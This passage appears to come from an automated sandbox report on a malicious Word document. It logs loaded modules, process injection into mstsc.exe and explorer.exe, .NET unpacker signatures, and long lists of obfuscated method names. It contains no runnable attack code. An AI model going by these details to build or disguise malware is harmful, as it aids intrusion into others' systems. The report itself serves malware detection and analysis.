Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: na.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\na.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: na.doc Static file information: File size 1189943 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: ihbgfbin.exe, ihbgfbin.exe, 00000007.00000002.429662493.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000000A.00000003.429889200.0000000002100000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000002.928676089.0000000002410000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000002.928676089.0000000002290000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000003.429589348.0000000001FA0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mstsc.pdb source: ihbgfbin.exe, 00000007.00000002.429868517.0000000002770000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000000A.00000002.928543048.0000000000900000.00000040.80000000.00040000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Mt83m7kf8vpro8b62h.cs .Net Code: xtgDCsAqI4 System.Reflection.Assembly.Load(byte[])
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Mt83m7kf8vpro8b62h.cs .Net Code: xtgDCsAqI4 System.Reflection.Assembly.Load(byte[])
Source: 5.2.ihbgfbin.exe.6f0000.0.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.ihbgfbin.exe.3510770.4.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Mt83m7kf8vpro8b62h.cs .Net Code: xtgDCsAqI4 System.Reflection.Assembly.Load(byte[])
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00943AE1 LoadLibraryW,GetProcAddress,FreeLibrary, 10_2_00943AE1
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F478D push esi; ret 2_2_008F478F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008EC3E2 push A0008EC4h; ret 2_2_008EC3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008E01F4 push eax; retf 2_2_008E01F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F4726 push ebx; ret 2_2_008F4727
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008EA43A push eax; iretd 2_2_008EA505
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008E8F59 push eax; retf 2_2_008E8F61
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 5_2_001B6C22 push esp; retn 0016h 5_2_001B6C2D
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D6DFA1 push ecx; ret 7_2_00D6DFB4
Source: C:\Windows\explorer.exe Code function: 9_2_082049B5 push esp; retn 0000h 9_2_08204AE7
Source: C:\Windows\explorer.exe Code function: 9_2_08204B02 push esp; retn 0000h 9_2_08204B03
Source: C:\Windows\explorer.exe Code function: 9_2_08204B1E push esp; retn 0000h 9_2_08204B1F
Source: C:\Windows\explorer.exe Code function: 9_2_08CE09B5 push esp; retn 0000h 9_2_08CE0AE7
Source: C:\Windows\explorer.exe Code function: 9_2_08CE0B02 push esp; retn 0000h 9_2_08CE0B03
Source: C:\Windows\explorer.exe Code function: 9_2_08CE0B1E push esp; retn 0000h 9_2_08CE0B1F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00968B01 push ecx; ret 10_2_00968B14
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022ADFA1 push ecx; ret 10_2_022ADFB4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009718C push ss; ret 10_2_00097194
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009D485 push eax; ret 10_2_0009D4D8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009D4DB push eax; ret 10_2_0009D542
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009D4D2 push eax; ret 10_2_0009D4D8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0009D53C push eax; ret 10_2_0009D542
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00085788 push 00000010h; iretd 10_2_0008578A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00097C3F push esp; iretd 10_2_00097C40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00094FC8 push ecx; iretd 10_2_00094FC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204EB02 push esp; retn 0000h 10_2_0204EB03
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204EB1E push esp; retn 0000h 10_2_0204EB1F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0204E9B5 push esp; retn 0000h 10_2_0204EAE7
Source: 4q0pGnqqpgTTSL7[1].exe.2.dr Static PE information: section name: .text entropy: 7.951532410536774
Source: ihbgfbin.exe.2.dr Static PE information: section name: .text entropy: 7.951532410536774
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, l6vWB1e3QQcGjD0U0Q.cs High entropy of concatenated method names: 'nLDXrSfaYq', 'leuXV8mmNy', 'iItXBVa0HV', 'FuAXmyAaOt', 'zEhXnHS8En', 'VfHX3mfT1L', 'eyqXWws3Dm', 'GHMXlNUvG2', 'LmKXQJaGdT', 'zaMXw4wlVW'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, YkqmWPwHXT1Dof8HBx.cs High entropy of concatenated method names: 'yWFCVw3Rt', 'XqUHLSCPP', 'tSOsORfNr', 'TVPInSPwv', 'cgQcQjZRt', 'Mky1bOaYS', 'kcgEyVoZVZ3VkawcSd', 'V95SNOZM5cm3k5salw', 'BsQNbKMjw', 'V8oiTjqYe'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Mt83m7kf8vpro8b62h.cs High entropy of concatenated method names: 'inVt8F93bk', 'bgGt5LcLk4', 'cKJtJTLSXc', 'PFXt0HXmSk', 'AlOtbLZmhs', 'P4jtdgsOjq', 'aiItpmGEQE', 'xQKtfJSCqZ', 'KPGtRnn9jX', 'wPHtxH1txn'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, RAPiKAbihyERmIJCsAy.cs High entropy of concatenated method names: 'atCTZMFO6H', 'qgsTOmTEow', 'znOTCNICfc', 'XtCTHjtFSE', 'MUoTUejfF1', 'WkDTsCYwVl', 'QX5TIubLp8', 'ABfTkJ2vbO', 'ufHTc99gSv', 'oOJT1a5hnV'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, zk9ouufXnNX6cgGtFt.cs High entropy of concatenated method names: 'cf4p5glQSR', 'mwYp0qqjkV', 'WZWpdWYIaS', 'dkwdaxmbMN', 'dgAdzMqUN9', 'AGppKAjESQ', 'F1KpME32sW', 'n2RpY9IKtM', 'NeCptQGboO', 'S7mpDpI4L4'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, VKswYFpqvvXi8LFXCK.cs High entropy of concatenated method names: 'GfU9PnWF2D', 'l099aJjEhr', 'PkANKRsInv', 'v7dNM3vfAh', 'JMt9S5BUQ6', 'Hq79VdI6NW', 'lAl9qjhgpl', 'rMc9BaXpcr', 'IWM9mk1ufm', 'N4H9o5H7II'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, ct6qfC6iAWScj7P1qt.cs High entropy of concatenated method names: 'hSKbU0v7dg', 'JudbIq7aam', 'yFI03IwsRw', 'kvx0WVWD12', 'lrH0lMYEV9', 'HGM0QZd6aG', 'Nwa0wjqQc2', 'IoH06R84VJ', 'zxj0yvWnCM', 'HLL0rgiTn9'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, lTEVKZLOPxSw8XSL4K.cs High entropy of concatenated method names: 'ToString', 'J0SAS2c5BB', 'tnVAnbehY6', 'ROGA30CrtT', 'nvbAWxlUys', 'XT3AlYPxPO', 'wenAQpPBju', 'KvQAwYCblR', 'mtSA62flFH', 'X5eAyr66Uu'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, GIOroEDHEHdCvcU7Zj.cs High entropy of concatenated method names: 'AIAMpxyx0T', 'iFqMfGCbcq', 'vuyMxy3ViX', 'o1qMhfJ1RT', 'hnoMXLAJif', 'iPyMAnmT0K', 'pj48kAM3oL39itSlvL', 'MNWGxr5wuBC8topnfP', 'xDwMMFoRx8', 'cs4Mt3luO5'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, fDAJsxI6uXNBMy6W6j.cs High entropy of concatenated method names: 'U9GN5ainQT', 'UweNJDOOAG', 'V9pN0jPlYG', 'tvmNbfRwN8', 'ln0Nd7lQgG', 'mEaNpyE2CU', 'E6FNfcjBxs', 'NPNNRVSol1', 'TWKNxmdpML', 'Y5PNhmYniu'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, LI1KLjNtJ7u9Tw5Jqk.cs High entropy of concatenated method names: 'xi6d8skQJZ', 'EaXdJeJO2D', 'GTpdbIAkb4', 'PUZdpMJKs5', 'AAOdfvktr5', 'o9tbeXNZT4', 'MgIbEPLUeF', 'MJ4bGravCp', 'AO5bPdnOsk', 'y2ibjMxCrI'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Ha0q5Nb1yqlsjQJRPS7.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OsSiBLhpwA', 'FGUimvEBfr', 'nxdioXJP80', 'f1QiLAtcRe', 'rgyieyYlZD', 'Q9TiElYdXi', 'tQxiG9clEa'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, x4VJgm7ynwtCPvJCyj.cs High entropy of concatenated method names: 'p9aTM44Wt5', 'L46Tt4lBIy', 'QWsTD6IkXF', 'AVtT5gn0mO', 'qZYTJ4YPDT', 'xfiTbZjs00', 'HBcTdTI1rG', 'CBvNG8TZiD', 'qQLNPd4nNT', 'cqONjWnV29'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, EwFFCXjNncBSPwukAV.cs High entropy of concatenated method names: 'Dispose', 'aBuMj8vdZ5', 'JPCYnss4xH', 'zrI445sHjP', 'mU9ManZwwD', 'kwtMzUfN6U', 'ProcessDialogKey', 'c9GYKEc1bh', 'OXmYMf7p7w', 'eLsYY9qxCW'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, tA7i8nJpHHjPLZFuxc.cs High entropy of concatenated method names: 'sZG0HPgguZ', 'qk70s7IcJj', 'YXP0kEGRPD', 'I050cTns4F', 'yPN0XTMunY', 'Vmq0AQc7fl', 'B4q091qM0M', 'y9j0NxMEGG', 'G1w0TNQEky', 'ywi0ieTfNk'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, GUfLMezVVBW6DFoN6c.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BoQTgf9FTo', 'PUuTXfoaIl', 'TYuTA7sTXQ', 'a4KT94ZwR8', 'cD6TN5wZP4', 'SGGTTTUSWT', 'eKLTipE5dc'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, Su1oSotSjI2spxQEP1.cs High entropy of concatenated method names: 'mi6NvN0ZLC', 'UPxNn7p2wc', 'wOlN3hymm2', 'KlUNWiHnN7', 'wZnNBRJOqC', 'BPwNlMdlpN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, XWDdYZHHnPlrZu8iea.cs High entropy of concatenated method names: 'hn7gkYRTE9', 'Ik4gcHDC6s', 'Ja2gvkYOn3', 'upOgn1L7Hl', 'mDbgWLBbLH', 'oyuglpv6wf', 'wxLgwbXwgi', 'Iu2g6XB7it', 'VZZgrRPvBy', 'RgcgSFopSH'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, LUlxKFsPGecqmhiLmG.cs High entropy of concatenated method names: 'bhtpZhhn70', 'ReZpOs4Nne', 'ffVpC7cq6N', 'bT5pHcvSOs', 'fWupUWsB4m', 'zsVpsVSnOK', 'EOfpIQBOvE', 'oq6pkxonfk', 'SL7pc9iml5', 'JG3p1GXvN4'
Source: 5.2.ihbgfbin.exe.3ef9c00.3.raw.unpack, JqoaEHn6fskh1axBN5.cs High entropy of concatenated method names: 'uZAJBd5k0U', 'yk2JmXD1ud', 'hWbJon4D3D', 'YOEJLeKQeN', 'DACJeMXjPl', 'CfgJEyWGU7', 'PWiJGA222V', 'O4WJPf7fGq', 'id0JjO6uWb', 'BS2JaXAhDP'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, l6vWB1e3QQcGjD0U0Q.cs High entropy of concatenated method names: 'nLDXrSfaYq', 'leuXV8mmNy', 'iItXBVa0HV', 'FuAXmyAaOt', 'zEhXnHS8En', 'VfHX3mfT1L', 'eyqXWws3Dm', 'GHMXlNUvG2', 'LmKXQJaGdT', 'zaMXw4wlVW'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, YkqmWPwHXT1Dof8HBx.cs High entropy of concatenated method names: 'yWFCVw3Rt', 'XqUHLSCPP', 'tSOsORfNr', 'TVPInSPwv', 'cgQcQjZRt', 'Mky1bOaYS', 'kcgEyVoZVZ3VkawcSd', 'V95SNOZM5cm3k5salw', 'BsQNbKMjw', 'V8oiTjqYe'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Mt83m7kf8vpro8b62h.cs High entropy of concatenated method names: 'inVt8F93bk', 'bgGt5LcLk4', 'cKJtJTLSXc', 'PFXt0HXmSk', 'AlOtbLZmhs', 'P4jtdgsOjq', 'aiItpmGEQE', 'xQKtfJSCqZ', 'KPGtRnn9jX', 'wPHtxH1txn'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, RAPiKAbihyERmIJCsAy.cs High entropy of concatenated method names: 'atCTZMFO6H', 'qgsTOmTEow', 'znOTCNICfc', 'XtCTHjtFSE', 'MUoTUejfF1', 'WkDTsCYwVl', 'QX5TIubLp8', 'ABfTkJ2vbO', 'ufHTc99gSv', 'oOJT1a5hnV'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, zk9ouufXnNX6cgGtFt.cs High entropy of concatenated method names: 'cf4p5glQSR', 'mwYp0qqjkV', 'WZWpdWYIaS', 'dkwdaxmbMN', 'dgAdzMqUN9', 'AGppKAjESQ', 'F1KpME32sW', 'n2RpY9IKtM', 'NeCptQGboO', 'S7mpDpI4L4'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, VKswYFpqvvXi8LFXCK.cs High entropy of concatenated method names: 'GfU9PnWF2D', 'l099aJjEhr', 'PkANKRsInv', 'v7dNM3vfAh', 'JMt9S5BUQ6', 'Hq79VdI6NW', 'lAl9qjhgpl', 'rMc9BaXpcr', 'IWM9mk1ufm', 'N4H9o5H7II'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, ct6qfC6iAWScj7P1qt.cs High entropy of concatenated method names: 'hSKbU0v7dg', 'JudbIq7aam', 'yFI03IwsRw', 'kvx0WVWD12', 'lrH0lMYEV9', 'HGM0QZd6aG', 'Nwa0wjqQc2', 'IoH06R84VJ', 'zxj0yvWnCM', 'HLL0rgiTn9'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, lTEVKZLOPxSw8XSL4K.cs High entropy of concatenated method names: 'ToString', 'J0SAS2c5BB', 'tnVAnbehY6', 'ROGA30CrtT', 'nvbAWxlUys', 'XT3AlYPxPO', 'wenAQpPBju', 'KvQAwYCblR', 'mtSA62flFH', 'X5eAyr66Uu'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, GIOroEDHEHdCvcU7Zj.cs High entropy of concatenated method names: 'AIAMpxyx0T', 'iFqMfGCbcq', 'vuyMxy3ViX', 'o1qMhfJ1RT', 'hnoMXLAJif', 'iPyMAnmT0K', 'pj48kAM3oL39itSlvL', 'MNWGxr5wuBC8topnfP', 'xDwMMFoRx8', 'cs4Mt3luO5'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, fDAJsxI6uXNBMy6W6j.cs High entropy of concatenated method names: 'U9GN5ainQT', 'UweNJDOOAG', 'V9pN0jPlYG', 'tvmNbfRwN8', 'ln0Nd7lQgG', 'mEaNpyE2CU', 'E6FNfcjBxs', 'NPNNRVSol1', 'TWKNxmdpML', 'Y5PNhmYniu'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, LI1KLjNtJ7u9Tw5Jqk.cs High entropy of concatenated method names: 'xi6d8skQJZ', 'EaXdJeJO2D', 'GTpdbIAkb4', 'PUZdpMJKs5', 'AAOdfvktr5', 'o9tbeXNZT4', 'MgIbEPLUeF', 'MJ4bGravCp', 'AO5bPdnOsk', 'y2ibjMxCrI'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Ha0q5Nb1yqlsjQJRPS7.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OsSiBLhpwA', 'FGUimvEBfr', 'nxdioXJP80', 'f1QiLAtcRe', 'rgyieyYlZD', 'Q9TiElYdXi', 'tQxiG9clEa'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, x4VJgm7ynwtCPvJCyj.cs High entropy of concatenated method names: 'p9aTM44Wt5', 'L46Tt4lBIy', 'QWsTD6IkXF', 'AVtT5gn0mO', 'qZYTJ4YPDT', 'xfiTbZjs00', 'HBcTdTI1rG', 'CBvNG8TZiD', 'qQLNPd4nNT', 'cqONjWnV29'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, EwFFCXjNncBSPwukAV.cs High entropy of concatenated method names: 'Dispose', 'aBuMj8vdZ5', 'JPCYnss4xH', 'zrI445sHjP', 'mU9ManZwwD', 'kwtMzUfN6U', 'ProcessDialogKey', 'c9GYKEc1bh', 'OXmYMf7p7w', 'eLsYY9qxCW'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, tA7i8nJpHHjPLZFuxc.cs High entropy of concatenated method names: 'sZG0HPgguZ', 'qk70s7IcJj', 'YXP0kEGRPD', 'I050cTns4F', 'yPN0XTMunY', 'Vmq0AQc7fl', 'B4q091qM0M', 'y9j0NxMEGG', 'G1w0TNQEky', 'ywi0ieTfNk'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, GUfLMezVVBW6DFoN6c.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BoQTgf9FTo', 'PUuTXfoaIl', 'TYuTA7sTXQ', 'a4KT94ZwR8', 'cD6TN5wZP4', 'SGGTTTUSWT', 'eKLTipE5dc'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, Su1oSotSjI2spxQEP1.cs High entropy of concatenated method names: 'mi6NvN0ZLC', 'UPxNn7p2wc', 'wOlN3hymm2', 'KlUNWiHnN7', 'wZnNBRJOqC', 'BPwNlMdlpN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, XWDdYZHHnPlrZu8iea.cs High entropy of concatenated method names: 'hn7gkYRTE9', 'Ik4gcHDC6s', 'Ja2gvkYOn3', 'upOgn1L7Hl', 'mDbgWLBbLH', 'oyuglpv6wf', 'wxLgwbXwgi', 'Iu2g6XB7it', 'VZZgrRPvBy', 'RgcgSFopSH'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, LUlxKFsPGecqmhiLmG.cs High entropy of concatenated method names: 'bhtpZhhn70', 'ReZpOs4Nne', 'ffVpC7cq6N', 'bT5pHcvSOs', 'fWupUWsB4m', 'zsVpsVSnOK', 'EOfpIQBOvE', 'oq6pkxonfk', 'SL7pc9iml5', 'JG3p1GXvN4'
Source: 5.2.ihbgfbin.exe.3f69820.2.raw.unpack, JqoaEHn6fskh1axBN5.cs High entropy of concatenated method names: 'uZAJBd5k0U', 'yk2JmXD1ud', 'hWbJon4D3D', 'YOEJLeKQeN', 'DACJeMXjPl', 'CfgJEyWGU7', 'PWiJGA222V', 'O4WJPf7fGq', 'id0JjO6uWb', 'BS2JaXAhDP'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, l6vWB1e3QQcGjD0U0Q.cs High entropy of concatenated method names: 'nLDXrSfaYq', 'leuXV8mmNy', 'iItXBVa0HV', 'FuAXmyAaOt', 'zEhXnHS8En', 'VfHX3mfT1L', 'eyqXWws3Dm', 'GHMXlNUvG2', 'LmKXQJaGdT', 'zaMXw4wlVW'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, YkqmWPwHXT1Dof8HBx.cs High entropy of concatenated method names: 'yWFCVw3Rt', 'XqUHLSCPP', 'tSOsORfNr', 'TVPInSPwv', 'cgQcQjZRt', 'Mky1bOaYS', 'kcgEyVoZVZ3VkawcSd', 'V95SNOZM5cm3k5salw', 'BsQNbKMjw', 'V8oiTjqYe'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Mt83m7kf8vpro8b62h.cs High entropy of concatenated method names: 'inVt8F93bk', 'bgGt5LcLk4', 'cKJtJTLSXc', 'PFXt0HXmSk', 'AlOtbLZmhs', 'P4jtdgsOjq', 'aiItpmGEQE', 'xQKtfJSCqZ', 'KPGtRnn9jX', 'wPHtxH1txn'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, RAPiKAbihyERmIJCsAy.cs High entropy of concatenated method names: 'atCTZMFO6H', 'qgsTOmTEow', 'znOTCNICfc', 'XtCTHjtFSE', 'MUoTUejfF1', 'WkDTsCYwVl', 'QX5TIubLp8', 'ABfTkJ2vbO', 'ufHTc99gSv', 'oOJT1a5hnV'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, zk9ouufXnNX6cgGtFt.cs High entropy of concatenated method names: 'cf4p5glQSR', 'mwYp0qqjkV', 'WZWpdWYIaS', 'dkwdaxmbMN', 'dgAdzMqUN9', 'AGppKAjESQ', 'F1KpME32sW', 'n2RpY9IKtM', 'NeCptQGboO', 'S7mpDpI4L4'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, VKswYFpqvvXi8LFXCK.cs High entropy of concatenated method names: 'GfU9PnWF2D', 'l099aJjEhr', 'PkANKRsInv', 'v7dNM3vfAh', 'JMt9S5BUQ6', 'Hq79VdI6NW', 'lAl9qjhgpl', 'rMc9BaXpcr', 'IWM9mk1ufm', 'N4H9o5H7II'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, ct6qfC6iAWScj7P1qt.cs High entropy of concatenated method names: 'hSKbU0v7dg', 'JudbIq7aam', 'yFI03IwsRw', 'kvx0WVWD12', 'lrH0lMYEV9', 'HGM0QZd6aG', 'Nwa0wjqQc2', 'IoH06R84VJ', 'zxj0yvWnCM', 'HLL0rgiTn9'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, lTEVKZLOPxSw8XSL4K.cs High entropy of concatenated method names: 'ToString', 'J0SAS2c5BB', 'tnVAnbehY6', 'ROGA30CrtT', 'nvbAWxlUys', 'XT3AlYPxPO', 'wenAQpPBju', 'KvQAwYCblR', 'mtSA62flFH', 'X5eAyr66Uu'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, GIOroEDHEHdCvcU7Zj.cs High entropy of concatenated method names: 'AIAMpxyx0T', 'iFqMfGCbcq', 'vuyMxy3ViX', 'o1qMhfJ1RT', 'hnoMXLAJif', 'iPyMAnmT0K', 'pj48kAM3oL39itSlvL', 'MNWGxr5wuBC8topnfP', 'xDwMMFoRx8', 'cs4Mt3luO5'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, fDAJsxI6uXNBMy6W6j.cs High entropy of concatenated method names: 'U9GN5ainQT', 'UweNJDOOAG', 'V9pN0jPlYG', 'tvmNbfRwN8', 'ln0Nd7lQgG', 'mEaNpyE2CU', 'E6FNfcjBxs', 'NPNNRVSol1', 'TWKNxmdpML', 'Y5PNhmYniu'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, LI1KLjNtJ7u9Tw5Jqk.cs High entropy of concatenated method names: 'xi6d8skQJZ', 'EaXdJeJO2D', 'GTpdbIAkb4', 'PUZdpMJKs5', 'AAOdfvktr5', 'o9tbeXNZT4', 'MgIbEPLUeF', 'MJ4bGravCp', 'AO5bPdnOsk', 'y2ibjMxCrI'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Ha0q5Nb1yqlsjQJRPS7.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OsSiBLhpwA', 'FGUimvEBfr', 'nxdioXJP80', 'f1QiLAtcRe', 'rgyieyYlZD', 'Q9TiElYdXi', 'tQxiG9clEa'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, x4VJgm7ynwtCPvJCyj.cs High entropy of concatenated method names: 'p9aTM44Wt5', 'L46Tt4lBIy', 'QWsTD6IkXF', 'AVtT5gn0mO', 'qZYTJ4YPDT', 'xfiTbZjs00', 'HBcTdTI1rG', 'CBvNG8TZiD', 'qQLNPd4nNT', 'cqONjWnV29'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, EwFFCXjNncBSPwukAV.cs High entropy of concatenated method names: 'Dispose', 'aBuMj8vdZ5', 'JPCYnss4xH', 'zrI445sHjP', 'mU9ManZwwD', 'kwtMzUfN6U', 'ProcessDialogKey', 'c9GYKEc1bh', 'OXmYMf7p7w', 'eLsYY9qxCW'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, tA7i8nJpHHjPLZFuxc.cs High entropy of concatenated method names: 'sZG0HPgguZ', 'qk70s7IcJj', 'YXP0kEGRPD', 'I050cTns4F', 'yPN0XTMunY', 'Vmq0AQc7fl', 'B4q091qM0M', 'y9j0NxMEGG', 'G1w0TNQEky', 'ywi0ieTfNk'
